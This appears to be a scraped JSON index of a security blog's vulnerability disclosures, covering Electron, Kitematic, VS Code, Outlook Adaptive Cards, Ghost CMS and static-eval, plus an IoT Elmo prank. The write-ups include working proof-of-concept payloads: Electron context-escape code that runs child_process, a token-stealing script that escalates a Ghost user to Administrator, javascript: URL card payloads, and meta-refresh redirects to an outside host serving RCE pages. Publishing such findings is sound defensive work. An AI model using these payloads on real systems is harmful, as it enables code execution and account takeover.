Attack Explanation ","date":null,"permalink":"https:\/\/hack.do\/posts\/cve-2020-17091\/","section":"","summary":"Remote Code Execution in Microsoft Teams Desktop Application due to missing contextIsolation flag in authentication windows","title":"CVE-2020-17091 - Microsoft Teams Desktop RCE via Missing Context Isolation"},{"content":"Overview #It is possible for a malicious (or compromised) Docker image to escape the container and execute code on the host via the \u201cWeb Preview\u201d feature in the Kitematic desktop application. The root cause is an Electron webview configured for remote\/untrusted content with nodeIntegration disabled, but without contextIsolation enabled.\nProof of Concept # Video link: YouTube PoC\nBackground: How \u201cWeb Preview\u201d Works #When running a container, Kitematic checks whether one of a set of common \u201cweb ports\u201d is exposed (80, 8000, 8080, 8888, 3000, 5000, 2368, 9200, 8983). If so, it attempts to render the container\u2019s web service in a Web Preview Electron webview.\nRelevant code:\nKitematic ContainerHomeWebPreview.react.js The Bug: Missing contextIsolation #Electron\u2019s webview defaults to nodeIntegration: false, which prevents direct access to Node APIs from the loaded page. However, for remote\/untrusted content, Electron also recommends enabling context isolation:\n\u201cContext isolation is an Electron feature that allows developers to run code in preload scripts and in Electron APIs in a dedicated JavaScript context\u2026 global objects like Array.prototype.push or JSON.parse cannot be modified by scripts running in the renderer process.\u201d\nReference:\nElectron Security Tutorial \u2014 \u201cEnable context isolation for remote content\u201d Without contextIsolation, the webview content runs in a shared JavaScript global environment with the host application\u2019s renderer context. That shared surface makes it possible to tamper with built-ins and unexpectedly interact with privileged objects.\nExploitation: Abusing the Shared Context #The attack abuses the lack of context isolation to obtain access to Node\u2019s process object from within the untrusted preview page:\nThe preview page triggers access to window.root. window.root is a legacy \u201cglobal\u201d property originating from Node that ends up shared into the webview global scope. Accessing it triggers a DeprecationWarning, which calls process.emitWarning(...). Deep in the warning\/event emitter path, Node eventually calls Function.apply(...) with Node\u2019s process object as the first argument. Because the webview shares a global context with the renderer, the untrusted page can hook Function.prototype.apply and capture that argument when it is invoked. Once process is obtained, the payload can execute host commands via: process.mainModule.require('child_process') At that point, code execution is in the context of the user running Kitematic \u2014 i.e., host RCE.\nContainer PoC #The example Docker image runs an nginx:alpine web server that immediately redirects the Web Preview to a page hosting the exploit JavaScript.\nDockerfile #FROM nginx:alpine COPY . \/usr\/share\/nginx\/html EXPOSE 80 index.html #&lt;script&gt; location.href = &#34;https:\/\/maustin.net\/hax\/electron\/contextisolation.html&#34;; &lt;\/script&gt; contextisolation.html (exploit) #&lt;script&gt; var isMac = navigator.platform.toUpperCase().indexOf(&#39;MAC&#39;) &gt;= 0; Function.prototype.apply = new Proxy(Function.prototype.apply, { apply: function (target, thisArg, argumentsList) { if (argumentsList[0] &amp;&amp; argumentsList[0].mainModule) { let process = argumentsList[0]; if (!process.hacked) { process.hacked = true; if (isMac) { process.mainModule.require(&#39;child_process&#39;).execSync(&#39;open \/Applications\/Calculator.app&#39;); } else { process.mainModule.require(&#39;child_process&#39;).execSync(&#39;calc&#39;); } } } return Reflect.apply(target, thisArg, argumentsList); } }); console.log(window.root); &lt;\/script&gt; Impact #This turns \u201crun a container image\u201d into \u201crun attacker-controlled code on the host desktop\u201d when Kitematic auto-renders the exposed service in Web Preview. A compromised registry image (or any image pulled from an untrusted source) could execute arbitrary commands on the host with the user\u2019s privileges.\nFix #Set the webpreferences attribute on the webview tag to enable context isolation:\nwebpreferences=&#34;contextIsolation=yes&#34; Disclosure Timeline # 2019-09-18: Reported issue to security@docker.com 2019-09-25: Fix committed: docker\/kitematic commit 6554c5c6d5921bed1e94ee810bad00a9459aade2 2019-09-25: v0.17.9 released with fix in place 2019-10-01: Notice released; request disclosure Docker response: unable to automatically update existing installs; requested holding off on release 2019-12-02: Requested update on pushing out change (no reply) 2019-12-10: Second request for update (no reply) References # PoC video Kitematic Web Preview source Electron security guidance: enable context isolation Fix commit ","date":null,"permalink":"https:\/\/hack.do\/posts\/docker-kitematic-rce\/","section":"","summary":"A malicious Docker image can escape its container and execute code on the host by abusing Kitematic\u2019s Electron Web Preview webview without contextIsolation.","title":"Docker Desktop (formaly Kitematic) Container Escape and RCE via \u201cWeb Preview\u201d"},{"content":"Description #A non-administrative user (editor, author, contributor) can create a post with a \u201cCode Injection\u201d into the blog header. This user can add JavaScript to the header that, when viewed by an administrator, is executed as the administrator.\nSteps to Reproduce # Login as an underprivileged user (named Bob in the example below). Create a new post or story. Click on the gear icon on the top right and click \u201cCode Injection\u201d. Add the following code to the \u201cPost Header\u201d in a &lt;script&gt; tag (change the name \u201cBob\u201d in the code to your current user name): &lt;script&gt; var access_token = JSON.parse(localStorage.getItem(&#39;ghost:session&#39;)).authenticated.access_token; function req(method, url, data){ var xhr = new XMLHttpRequest(); xhr.open(method, url, false); xhr.setRequestHeader(&#34;Content-Type&#34;, &#34;application\/json&#34;); xhr.setRequestHeader(&#39;Authorization&#39;, &#39;Bearer &#39; + access_token); xhr.send(data); return JSON.parse(xhr.responseText) } var me = req(&#39;GET&#39;, &#39;\/ghost\/api\/v0.1\/users\/slug\/bob\/?include=roles%2Ccount.posts&#39;, null); var permissions = req(&#39;GET&#39;, &#39;\/ghost\/api\/v0.1\/roles\/?permissions=assign&#39;, null); var admin = permissions.roles.filter(({name})=&gt;{return name==&#34;Administrator&#34;}); me.users[0].roles = admin; req(&#39;PUT&#39;, &#39;\/ghost\/api\/v0.1\/users\/&#39;+me.users[0].id+&#39;\/?include=roles&#39;, JSON.stringify(me)); &lt;\/script&gt; Press save (cmd+s on mac) and click on the \u201cView Preview\u201d button. The link will look something like: http:\/\/someblog.com\/p\/48ba590b-7e25-494f-b9e8-d9a6d7e5eb1b\/ Send this link to an Administrator user (hide it in an iframe, mask it with a URL shortener). When viewed, the injected code will modify the user (\u201cBob\u201d in this case) giving him the Administrator role. POC video # As you can see in the video, Matt was able to successfully elevate his privilege from an \u201cAuthor\u201d to an \u201cAdministrator\u201d simply by getting an Administrator user to click on the blog preview link.\nBackground: Ghost roles #Based on Ghost\u2019s documentation on user roles, there are 5 distinct roles used for different privileges within the Ghost system:\nContributors: Can log in and write posts, but cannot publish Authors: Can create and publish new posts and tags Editors: Can invite, manage and edit authors and contributors Administrators: Have full permissions to edit all data and settings Owner: An admin who cannot be deleted and has access to billing details Response \/ policy position #Matt never received any feedback from his submission to Ghost about the privilege escalation bypass. On October 16, 2018, a new commit was submitted to the GitHub repository for Ghost that said:\nHowever, we&rsquo;re generally not interested in\u2026\nPrivilege escalation as result of trusted users publishing arbitrary JavaScript Still, no response from Ghost to Matt\u2019s submission, not even a \u201cthank you for your submission\u201d; instead, Ghost updated their disclosure program to not involve privilege escalation.\nGhost also added the following, explaining their position:\nPrivilege escalation attacks #Ghost is a content management system and all users are considered to be privileged\/trusted. A user can only obtain an account and start creating content after they have been invited by the site owner or similar administrator-level user.\nA basic feature of Ghost as a CMS is to allow content creators to make use of scripts, SVGs, or embedded content that is required for the content to display as intended. Because of this, there will always be the possibility of &ldquo;XSS&rdquo; attacks, albeit only from users that have been trusted to build the site&rsquo;s content.\nGhost&rsquo;s admin application does a lot to ensure that unknown scripts are not run within the admin application itself, however, that only protects one side of a Ghost site. If the front-end (the rendered site that anonymous visitors see) shares the same domain as the admin application then browsers do not offer sufficient protection to prevent successful XSS attacks by trusted users.\nIf you are concerned that trusted users you invite to create your site will act maliciously the best advice is to split your front-end and admin area onto different domains (e.g. https:\/\/mysite.com and https:\/\/mysiteadmin.com\/ghost\/). This way browsers offer greater built-in protection because credentials cannot be read across domains. Even in this case, it should be understood that you are giving invited users completely free reign in content creation so absolute security guarantees do not exist.\nWe take any attack vector where an untrusted user is able to inject malicious content very seriously and welcome any and all reports.\nDisclosure note #As of April 29, 2019, Matt had not received a response from Ghost, so we are following our normal process of disclosure, as we feel the issue at hand warrants a fix, or at least a discussion from the community. We want applications to be secure, so let\u2019s work together to fix the issues that need to be fixed and make sure all users feel safe using the Ghost platform.\n","date":null,"permalink":"https:\/\/hack.do\/posts\/ghost-code-injection-privilege-escalation\/","section":"","summary":"An underprivileged Ghost user can create a post with javascript, that when previewed by and admin will execute and elevate privileges.","title":"Ghost CMS: Privilege Escalation via Post Preview"},{"content":"I a remote code execution (RCE) vulnerability affecting apps with the ability to open nested child windows on Electron versions (3.0.0-beta.6, 2.0.7, 1.8.7, and 1.7.15). This vulnerability has been assigned the CVE identifier CVE-2018-15685.\nPOC Available at: https:\/\/github.com\/matt-\/CVE-2018-15685\nWhat&rsquo;s Electron? #Electron is a framework that powers many of the applications you use every day. Slack, Atom, Visual Studio Code, WordPress Desktop, Github Desktop, Skype, and Google Chat are just a few applications built on the Electron framework. It allows a developer to quickly port a traditional web application to a native cross platform desktop application.\nVulnerability Details #A recent post was made by @SecurityMB about a security issue in Google Chat where he could create a link that, when clicked, would redirect away from a Google site to content controlled by the attacker, but it would stay inside the electron app. Upon Google&rsquo;s review, they found that the reported issue could lead to remote code execution and paid a sizeable bounty.\nAlthough Google quickly fixed the issue related to the redirect, I could not help but wonder what exactly the path to code execution could be. The application is built on the Electron framework. Electron has a detailed security section (available here) and Google followed most of these practices. More specifically, they set &ldquo;nodeIntegration&rdquo; to false. Normally the webcontent of an Electron window has access to the Node Javascript engine underneath it. Node has many core libraries that give you access to the file system and let you execute code. This can be handy when building an app, but something you don&rsquo;t want user controlled code to have access to. With &ldquo;nodeIntegration&rdquo; set to false, even with the ability to load remote content we &ldquo;should&rdquo; be safe.\nHowever, after a bit of testing I came across a relatively simple payload that gave me access to the Node bindings:\nopen(&#39;about:blank&#39;).open(&#39;data:text\/html,&lt;script&gt;document.write(process.cwd())&lt;\/script&gt;&#39;) At first, I thought that this must have just been an oversight by the Google Chat team, but after digging some more, I discovered that was not the case. Every window that is created should have these properties set:\nwin.webPreferences = { allowRunningInsecureContent: false, contextIsolation: true, nodeIntegration: false, nativeWindowOpen: true } After a bit more digging and a couple of conversations with Luca Carettoni (who has done some really great research \/ work with Electron in the past), it became apparent that this was a bug in the core Electron framework. We came across what seemed to be related a to commit in an unmerged PR: https:\/\/github.com\/electron\/electron\/pull\/13222\/commits\/444b6f987bd793989999f64f40062f68217cf0ba\nProperties of the window were not being inherited properly through nested windows and iframes. This meant vulnerable windows are able to be spawned by any application where:\nuser code runs inside an iframe, or can create an iframe, or if you open any of your windows with the &ldquo;nativeWindowOpen: true&rdquo; or &ldquo;sandbox: true&rdquo; options (It&rsquo;s a bit ironic that the two conditions leading to the issue are security controls)\nAffected Versions # Affected versions: Electron 3.0.0-beta.6, 2.0.7, 1.8.7, and 1.7.15 Patched versions: Electron 3.0.0-beta.7, 2.0.8, 1.8.8, and 1.7.16 CVE: CVE-2018-15685 You are impacted if:\nYou embed any remote user content, even in a sandbox You accept user input with any XSS vulnerabilities You use nativeWindowOpen: true or sandbox: true options How It Works #The vulnerability occurs when WebPreferences are not properly inherited by nested child windows. When a window is opened from within an iframe or using nativeWindowOpen: true, the child window should inherit the security settings from its parent. However, due to a bug in Electron, these preferences were not being inherited, causing the child window to fall back to insecure default settings.\nThe insecure defaults include:\nnodeIntegration: true (allowing access to Node.js APIs) contextIsolation: false (allowing prototype pollution attacks) This means that even if a parent window has proper security settings, a nested child window could be created with full access to Node.js, allowing arbitrary code execution.\nProof of Concept #The proof of concept demonstrates how a simple payload can bypass security controls:\nopen(&#39;about:blank&#39;).open(&#39;data:text\/html,&lt;script&gt;document.write(process.cwd())&lt;\/script&gt;&#39;) This payload:\nOpens a blank window From that window, opens another window with a data URI The nested window does not inherit the parent&rsquo;s WebPreferences Falls back to insecure defaults, allowing access to process.cwd() and other Node.js APIs A video demonstration is available showing the vulnerability in action.\nThe Impact #This vulnerability is particularly dangerous because:\nFull system compromise: An attacker can run arbitrary commands on the victim&rsquo;s system, potentially leading to persistent access Credential theft: The attacker could exfiltrate sensitive authentication tokens stored on the system Data exfiltration: An attacker could steal sensitive files, code, or other private data stored on the victim&rsquo;s system Widespread impact: Many popular applications built on Electron are potentially affected The attack is especially insidious because it can be triggered through normal application usage\u2014just clicking a link or interacting with user-controlled content within an Electron app.\nMitigations #We&rsquo;ve published new versions of Electron which include fixes for this vulnerability: 3.0.0-beta.7, 2.0.8, 1.8.8, and 1.7.16. We urge all Electron developers to update their apps to the latest stable version immediately.\nIf for some reason you are unable to upgrade your Electron version, you can protect your app by blanket-calling event.preventDefault() on the new-window event for all webContents&rsquo;. If you don&rsquo;t use window.open or any child windows at all then this is also a valid mitigation for your app:\nmainWindow.webContents.on(&#39;new-window&#39;, e =&gt; e.preventDefault()) If you rely on the ability of your child windows to make grandchild windows, then a third mitigation strategy is to use the following code on your top level window:\nconst enforceInheritance = (topWebContents) =&gt; { const handle = (webContents) =&gt; { webContents.on(&#39;new-window&#39;, (event, url, frameName, disposition, options) =&gt; { if (!options.webPreferences) { options.webPreferences = {} } Object.assign(options.webPreferences, topWebContents.getLastWebPreferences()) if (options.webContents) { handle(options.webContents) } }) } handle(topWebContents) } enforceInheritance(mainWindow.webContents) This code will manually enforce that the top level window&rsquo;s webPreferences is manually applied to all child windows infinitely deep.\nIf you don&rsquo;t rely on child windows opening other child windows you can use a much simpler preventive technique:\nmainWindow.webContents.on(&#39;new-window&#39;, (event, _, __, ___, options) =&gt; { if (options.webContents) options.webContents.on(&#39;new-window&#39;, e =&gt; e.preventDefault()) }) This will prevent all children opening deeper child windows, i.e. your windows will only have a depth of 1.\nWe strongly recommend you use the first mitigation (upgrading Electron) but if for whatever reason you can&rsquo;t, the second one should also do the job just fine.\nRecommendations for Electron Developers #Follow the security guidelines at https:\/\/github.com\/electron\/electron\/blob\/master\/docs\/tutorial\/security.md. These are not the default so you need to make sure these are in place.\nMost importantly:\nSet contextIsolation to true and nodeIntegration to false Don&rsquo;t allow user controlled HTML \/ Javascript (or an XSS) in an electron window if you can avoid it Handle how new windows are created (or block them if they are not needed): mainWindow.webContents.on(&#39;new-window&#39;, e =&gt; e.preventDefault()) Protecting your Enterprise from similar CVEs #As you leverage third party frameworks, be sure to validate the default security settings. Default values are often not those optimized for security.\nDisclosure Timeline #The Electron team responded quickly to the issue, and had a patch ready to go in just a couple of days. They were truly great to work with!\nThe Root Cause #At the end of the day, the &ldquo;root cause&rdquo; of the issue is insecure default settings. In this case, with the default settings, a window has access to Node bindings and is not isolated. So, with this bug, when a window did not inherit properties as expected, it fell back to the insecure defaults. It would be great if the fallback was safe defaults. While changing an API can be a difficult process I hope this is something the Electron Team will work towards.\nTakeaways #This vulnerability highlights several important security lessons:\nInsecure defaults are dangerous: When frameworks fall back to insecure defaults, even well-intentioned developers can create vulnerable applications Inheritance bugs can be critical: When security properties aren&rsquo;t properly inherited, it can completely bypass security controls Defense in depth: Multiple layers of security controls are essential, as any single layer can fail Follow security guidelines: Electron provides comprehensive security documentation that should be followed for all windows, not just some We&rsquo;d also like to thank the Electron team for being extremely responsive and for quickly working to provide a patch.\nReferences # Electron Security Documentation CVE-2018-15685 Electron Blog Post on the Vulnerability Proof of Concept Repository Electron GitHub PR #13222 ","date":null,"permalink":"https:\/\/hack.do\/posts\/cve-2018-15685\/","section":"","summary":"Remote Code Execution vulnerability in Electron affecting apps with the ability to open nested child windows due to WebPreferences not being inherited properly","title":"CVE-2018-15685 - Electron WebPreferences Remote Code Execution"},{"content":"While testing Adaptive Cards in Outlook, I discovered a cross-site scripting (XSS) vulnerability that allows an attacker to execute arbitrary JavaScript in the context of a victim&rsquo;s Outlook inbox. The vulnerability exists in how Outlook handles the Action.OpenUrl action in Adaptive Cards, which does not properly validate URLs before passing them to window.open().\nThe Vulnerability #The vulnerability exists in how Adaptive Cards handle the Action.OpenUrl action. This property is designed to open URLs when clicked, but it does not properly validate that the URL is actually a valid HTTP\/HTTPS URL before passing it to window.open(). This allows an attacker to inject JavaScript code using the javascript: protocol scheme.\nWhen a user clicks on an action button in an Adaptive Card, the url value from Action.OpenUrl is passed directly to window.open(), which will execute JavaScript payloads. Even though this execution occurs in a new window, the JavaScript can use window.opener to gain full access to the recipient&rsquo;s inbox, allowing for session hijacking, data exfiltration, and other malicious activities.\nThe root cause is a combination of factors:\nThe Action.OpenUrl property does not validate URLs before use The URL is passed directly to window.open() without sanitization No Content Security Policy (CSP) is in place to prevent JavaScript execution The window.opener property allows the new window to access the parent window&rsquo;s context Affected Products # Outlook Web App: Vulnerable to XSS via Action.OpenUrl in Adaptive Cards Microsoft Teams: The payload is passed along, but JavaScript execution is blocked by CSP (partial mitigation) Other products using Adaptive Cards: Potentially affected depending on their implementation The vulnerability affects any product that renders Adaptive Cards with Action.OpenUrl actions without proper URL validation.\nHow It Works #The attack works by crafting an Adaptive Card with a malicious Action.OpenUrl that uses the javascript: protocol:\nCard Creation: An attacker creates an Adaptive Card with an Action.OpenUrl action containing a javascript: URL Card Delivery: The card is sent to a victim via email (or other delivery mechanism) User Interaction: When the victim clicks the action button, the URL is passed to window.open() JavaScript Execution: The JavaScript payload executes in a new window Context Access: The malicious JavaScript uses window.opener to access the parent window (Outlook inbox) Even though the JavaScript executes in a new window, window.opener provides full access to the parent window&rsquo;s context, allowing the attacker to:\nAccess the victim&rsquo;s inbox Read email content Perform actions on behalf of the user Exfiltrate sensitive data Steal authentication tokens Proof of Concept #To demonstrate this vulnerability, you can use the Adaptive Cards MessageCard Playground:\nSteps to Reproduce # Browse to https:\/\/messagecardplayground.azurewebsites.net\/ Authenticate with the application Send the following payload: { &#34;$schema&#34;: &#34;https:\/\/adaptivecards.io\/schemas\/adaptive-card.json&#34;, &#34;type&#34;: &#34;AdaptiveCard&#34;, &#34;version&#34;: &#34;1.0&#34;, &#34;body&#34;: [ { &#34;type&#34;: &#34;ColumnSet&#34;, &#34;columns&#34;: [ { &#34;type&#34;: &#34;Column&#34;, &#34;width&#34;: &#34;10&#34;, &#34;items&#34;: [ { &#34;type&#34;: &#34;Image&#34;, &#34;size&#34;: &#34;auto&#34;, &#34;horizontalAlignment&#34;: &#34;center&#34;, &#34;url&#34;: &#34;https:\/\/emojipedia-us.s3.dualstack.us-west-1.amazonaws.com\/thumbs\/160\/microsoft\/106\/hacker-cat_1f431-200d-1f4bb.png&#34;, &#34;altText&#34;: &#34;Mostly cloudy&#34; }, { &#34;type&#34;: &#34;TextBlock&#34;, &#34;horizontalAlignment&#34;: &#34;center&#34;, &#34;wrap&#34;: false, &#34;color&#34;: &#34;dark&#34;, &#34;text&#34;: &#34;Test XSS&#34; } ], &#34;selectAction&#34;: { &#34;type&#34;: &#34;Action.OpenUrl&#34;, &#34;title&#34;: &#34;View Sunday&#34;, &#34;url&#34;: &#34;javascript:alert(window.opener.location.href)&#34; } } ] } ] } Click &ldquo;Send Via Email&rdquo; from the top bar to send this to yourself Check your email from Outlook web Click on the Action button The JavaScript alert will execute, demonstrating that the XSS vulnerability is present. In a real attack, this could be replaced with malicious code that exfiltrates data or performs unauthorized actions.\nAdditional Payload (New Outlook) #Interestingly, the following payload works on &ldquo;the new Outlook&rdquo; but is blocked in the other version:\n{ &#34;@type&#34;: &#34;MessageCard&#34;, &#34;@context&#34;: &#34;https:\/\/schema.org\/extensions&#34;, &#34;summary&#34;: &#34;Issue 176715375&#34;, &#34;themeColor&#34;: &#34;0078D7&#34;, &#34;title&#34;: &#34;Test XSS&#34;, &#34;sections&#34;: [ { &#34;text&#34;: &#34;Test from OpenUri&#34; } ], &#34;potentialAction&#34;: [ { &#34;@type&#34;: &#34;OpenUri&#34;, &#34;name&#34;: &#34;View in GitHub&#34;, &#34;targets&#34;: [ { &#34;os&#34;: &#34;default&#34;, &#34;uri&#34;: &#34;javascript:alert(1)&#34; } ] } ] } This demonstrates that the vulnerability exists in multiple card formats and affects different versions of Outlook differently.\nTesting with Originator #This vulnerability was tested not only by sending emails to myself, but also with an &ldquo;originator&rdquo; key, delivering the payload to anyone in my organization. This confirms that the vulnerability is not limited to &ldquo;self&rdquo; emails and can be exploited against any recipient.\nThe Impact #This vulnerability is particularly dangerous because:\nSession hijacking: An attacker can steal authentication tokens and session cookies from the victim&rsquo;s Outlook session Data exfiltration: The attacker can read email content, contacts, and other sensitive information from the victim&rsquo;s inbox Unauthorized actions: The attacker can perform actions on behalf of the user, such as sending emails, deleting messages, or modifying settings Credential theft: The attacker could potentially access other services if the victim uses single sign-on (SSO) Persistent access: The attacker could establish persistent access to the victim&rsquo;s account The attack is especially concerning because it requires minimal user interaction; just clicking on a button in an email. The user doesn&rsquo;t need to explicitly visit a malicious website or download a file; the vulnerability is triggered through normal email interaction.\nExpected Fixes #I would expect the following security measures to be implemented:\nURL Validation: Proper validation of the Action.OpenUrl property to ensure it only accepts valid HTTP\/HTTPS URLs Protocol Whitelisting: Only allow http:\/\/ and https:\/\/ protocols, explicitly blocking javascript:, data:, and other potentially dangerous protocols Content Security Policy: Implement CSP headers to prevent JavaScript execution even if validation fails Sanitization: Sanitize all user-controlled input before passing it to window.open() Same-Origin Restrictions: Consider using rel=&quot;noopener&quot; or similar mechanisms to prevent window.opener access Disclosure #This vulnerability has been reported to Microsoft through their security program. The issue demonstrates the importance of proper input validation and the need for defense-in-depth security measures, including Content Security Policies, even when validation is in place.\nReferences # Adaptive Cards Documentation MessageCard Playground Proof of Concept Video OWASP XSS Prevention Cheat Sheet Content Security Policy (CSP) ","date":null,"permalink":"https:\/\/hack.do\/posts\/outlook-adaptive-cards-xss\/","section":"","summary":"Adaptive cards in Outlook (and other products) do not properly validate the &ldquo;Action.OpenUrl&rdquo; leading to XSS","title":"XSS in Outlook Adaptive Cards via Action.OpenUrl"},{"content":"","date":null,"permalink":"https:\/\/hack.do\/tags\/electronics\/","section":"Tags","summary":"","title":"Electronics"},{"content":"The Idea #My friend had a baby around the same time as me so I decided to prank him. I bought the same Elmo toy they had and took it apart. I added my own WiFi chip so I could control it over the internet. Now I can make the new &ldquo;WiFi-enabled, IoT&rdquo; elmo talk when ever I want, remotely!\nThe Build #Step 1 #First I added some tiny wires to each side of the button pad. This one had to be directly on the pad because the other end of the trace was under the potted chip. The other side of the switch was ground so we could pull that from the black wire on top of the board.\nStep 2 #I made a small board with the Proton wifi chip from: particle.io. Then I used an optocoupler to simulate the button press. Because this switch is a &ldquo;pull to ground&rdquo; switch and I am already using a shared ground (because I power the Proton with the same batteries) I could have use a transistor, but I had these laying around. The optocoupler is super simple. When one side gets power and ground the other side completes a circuit, or in this case &ldquo;pushes&rdquo; the button. I connected to D0, and set it to digital write. Now from the particle API I can bring that pin &ldquo;HIGH&rdquo;, trigger optocoupler, which will simulate the button press.\nStep 3 #I drilled a small hole in the case. I made the wires come out of the front so that they would be hidden if you opened up the toy to change the batteries. I wrapped the PCB in cardboard and tape and tucked it back in to elmo.\nStep 4 #I gave elmo a web interface that uses the particle.io API. Now I have a mobile remote control. https:\/\/gist.github.com\/matt-\/c78bd1aedb2fb0f577bb7695f653fbaa\nStep 5 The Swap! #My friends are hosting the Super Bowl party this year. This will be the perfect opportunity to swap them out. I will pre-connect elmo to the their wifi from outside, then we wait\u2026\n","date":null,"permalink":"https:\/\/hack.do\/posts\/elmowned\/","section":"","summary":"Build project for an IoT Elmo to prank my friend.","title":"Elmowned - Hacking Elmo"},{"content":"","date":null,"permalink":"https:\/\/hack.do\/tags\/","section":"Tags","summary":"","title":"Tags"},{"content":"Overview #The static-eval module is intended to statically evaluate a code block. In theory (and assumed by many modules who depend on it) should have no side effects, should not have have access to the standard library, and effectively be sandboxed. However if un-sanitized user input is passed to evaluate we can break out of this &ldquo;sandbox&rdquo; in two ways.\nFirst because the modue wants to support something like:\n[1,2,3].map(function(){ } FunctionExpression (to create the function passed into map) and CallExpression (to invoke map) must be supported. The body of the created created function expression was not walked which allowed us to create something like:\nvar evaluate = require(&#39;static-eval&#39;); var parse = require(&#39;esprima&#39;).parse; var src = &#39;(function(){console.log(process.pid)})&#39;; var ast = parse(src).body[0].expression; var res = evaluate(ast, {}); In the second issue a function could be used to get a reference to the global Function constructor resulting in another breakout of the sandbox.\nvar evaluate = require(&#39;static-eval&#39;); var parse = require(&#39;esprima&#39;).parse; var src = &#39;(function () {}).constructor(\u201cconsole.log(process.pid)\u201d)&#39;; var ast = parse(src).body[0].expression; var res = evaluate(ast, {}); I created https:\/\/github.com\/substack\/static-eval\/pull\/18 to resolve both issues. It now:\nWalks the \u201cbodies\u201d of a FunctionExpression to ensure that they were also parsed and handled correctly Does not allow access to attributes to an object that has been evaluated down to a function. I came across these issues when using the jsonpath module which depends on static-eval (and is in turn used used by the Ghost blog platform) which states teh following: &ldquo;Script expressions (i.e, (&hellip;) and ?(&hellip;)) are statically evaluated via static-eval rather than using the underlying script engine directly. That means both that the scope is limited to the instance variable (@), and only simple expressions (with no side effects) will be valid.&rdquo;\nHowever we can see that with the example below this expression is not safe.\nvar jp = require(&#39;jsonpath&#39;); var names = jp.query(data, &#39;$..book[?((function (){console.log(process.pid)})())]&#39;); Remediation #Upgrade to static-eval 2.0\n","date":null,"permalink":"https:\/\/hack.do\/posts\/static-eval\/","section":"","summary":"Two issues in the static-eval node module that can lead to remote code execution.","title":"Unsafe Code Execution in static-eval"},{"content":"Overview #Visual Studio Code\u2019s Markdown Preview in v1.9.1 renders GitHub-flavored Markdown (GFM) and allows inline HTML. A malicious Markdown file can include &lt;script&gt; tags that execute JavaScript in the preview context. If that context has access to Node\/Electron primitives, an attacker can reach Node APIs (for example child_process) and execute arbitrary commands.\nAffected Version # Product: Visual Studio Code Version: 1.9.1 Issue: Arbitrary Code Execution (RCE) via Markdown Preview Proof of Concept (RCE.md) #Save the following as RCE.md:\n&lt;pre&gt; &lt;script&gt;document.write(top.require(&#39;child_process&#39;).execSync(&#39;ls; open -a Calculator&#39;))&lt;\/script&gt; &lt;\/pre&gt; Steps to Reproduce # Open RCE.md in Visual Studio Code. Open the Markdown preview (click the preview icon, or press \u21e7\u2318V on macOS). Observe command execution (e.g., Calculator launches on macOS). Root Cause # HTML is allowed in Markdown: Many Markdown renderers permit a subset (or full set) of HTML tags. Scripts execute in the preview: If &lt;script&gt; executes, attacker-controlled JS runs in the preview document. Electron \/ Node context access: If the preview context can reach Node APIs (directly, or via top.require(...) \/ preload bridges), attacker JS can call Node primitives like child_process and execute arbitrary commands. Recommendations \/ Mitigations # Disable Node integration for the preview renderer: Render the preview content in a BrowserWindow\/frame with nodeIntegration: false (and ideally contextIsolation: true). Restrict allowed HTML: Allow only a safe subset of tags\/attributes. Further restrict attributes and protocols (e.g., prevent javascript: and data: URLs in href \/ src). Harden navigation\/redirects: Block or strictly validate redirect mechanisms that can escape the intended preview sandbox. Update: v1.10.2 and Follow-ups #An update shipped in v1.10.2 with changes intended to address the issue (see the tracking issue: https:\/\/github.com\/Microsoft\/vscode\/issues\/22268). This is a step in the right direction, but additional bypasses were identified.\nRedirect \/ Auto-mount Bypass (Meta Refresh) #The issue can be simplified using an SMB (Windows) or NFS (macOS) auto-mount, and a meta refresh can be used to redirect in a way that is not blocked by CSP.\nWindows\n&lt;meta http-equiv=&#34;refresh&#34; content=&#34;1; url=file:\/\/\\\\192.241.239.91\\Share\\rce_win.html&#34;&gt; macOS\n&lt;meta http-equiv=&#34;refresh&#34; content=&#34;1; url=file:\/\/\/\/net\/192.241.239.91\/var\/nfs\/general\/rce.html&#34;&gt; Related fix work is referenced in commit https:\/\/github.com\/Microsoft\/vscode\/commit\/d6527b85d78a0305cf0222ebe7a42d75d7d1b199, which addresses redirect handling. Node integration was already disabled; the change landed in Insiders and was expected in the 1.11 release.\nNotes on webview \/ Preload Context #When inspecting the preview, user content appears to load inside a webview. The element may look similar to:\n&lt;webview tabindex=&#34;-1&#34; nodeintegration=&#34;&#34; preload=&#34;file:\/\/\/Applications\/Visual%20Studio%20Code.app\/Contents\/Resources\/app\/out\/vs\/workbench\/parts\/html\/browser\/webview-pre.js&#34;&gt; Electron\u2019s documentation notes that preload scripts can expose powerful primitives to the page unless carefully isolated. If possible, ensure nodeIntegration remains disabled, use contextIsolation, and keep preload bridges minimal and defensive.\nAnother Issue: command: Links in Preview #The following link can execute code when clicked by invoking VS Code commands:\n&lt;a href=&#34;command:vscode.startDebug?%7B%22type%22:%22node%22,%22request%22:%22launch%22,%22args%22:%5B%22-e%22,%22process.exit(require(&#39;child_process&#39;).execSync(&#39;open%20-a%20Calculator&#39;))%22%5D%7D&#34;&gt;Debugger Test...&lt;\/a&gt; And the following can bypass CSP by \u201cpreviewing\u201d outside the iframe:\n&lt;a href=&#34;command:vscode.previewHtml?%22file:\/\/\/path\/to\/test.html%22&#34;&gt;Preview Test...&lt;\/a&gt; References # VS Code issue tracker reference: https:\/\/github.com\/Microsoft\/vscode\/issues\/22268 Redirect handling commit: https:\/\/github.com\/Microsoft\/vscode\/commit\/d6527b85d78a0305cf0222ebe7a42d75d7d1b199 ","date":null,"permalink":"https:\/\/hack.do\/posts\/vscode-markdown-preview-rce\/","section":"","summary":"Previewing a malicious Markdown file in VS Code 1.9.1 can lead to arbitrary code execution.","title":"Visual Studio Code 1.9.1: Arbitrary Code Execution via Markdown Preview"},{"content":"","date":null,"permalink":"https:\/\/hack.do\/categories\/","section":"Categories","summary":"","title":"Categories"}]